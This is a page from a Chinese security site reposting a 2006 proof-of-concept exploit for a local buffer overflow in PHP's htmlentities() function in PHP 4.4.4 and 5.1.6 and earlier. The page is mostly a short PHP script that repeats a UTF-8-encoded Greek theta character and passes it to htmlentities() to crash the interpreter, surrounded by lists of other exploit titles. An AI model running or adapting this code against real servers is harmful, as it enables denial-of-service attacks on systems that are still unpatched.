首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP <= 4.4.4/5.1.6 htmlentities() Local Buffer Overflow PoC|
来源:www.whitepaperclip.com 作者:Zarathu 发布时间:2006-11-29  

<?php
/* Zarathu */
/* www.whitepaperclip.com */

//instantiate a string
$str1 = "";

for($i=0; $i < 64; $i++) {
$str1 .= toUTF(977); //MUST start with 977 before bit-shifting
}

htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
/*
htmlentities() method automatically assumes
it is a max of 8 chars. uses greek theta
character bug from UTF-8
*/

?>

<?php
function toUTF($x) {
return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
}
?>



 
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·3ctftpsvc Buffer Overflow (Lon
·Internet Explorer 6.0 SP2 File
·动网上传漏洞利用工具Gui版(De
·VMware 5.5.1 COM Object Arbitr
·Guestbara <= 1.2 Change Admin
·Internet Explorer Version 6.0.
·The IIS Worker Process (w3wp)
·SPIDynamics WebInspect Cross-A
·phpwind 5.x exploits
·serv-u本地权限提升工具|
·oneSCHOOL (all versions) admin
·Macromedia Flash Player Flash.
  相关文章
·ProFTPD 1.3.0 (sreplace) Remot
·Evince Document Viewer (Docume
·AT-TFTP <= 1.9 (Long Filena
·Discuz! 4.x SQL Injection / Ad
·Oracle <= 9i / 10g (read/wr
·Quintessential Player <= 4.
·Aztek Forum 4.0 Multiple Vulne
·Songbird Media Player <= 0.
·Forum Livre 1.0 (SQL Injection
·Kubix <= 0.7 Multiple Remot
·Microsoft Excel Malformed Pale
·3ctftpsvc Buffer Overflow (Lon
  推荐广告
CopyRight © 2002-2009 VFocuS.Net All Rights Reserved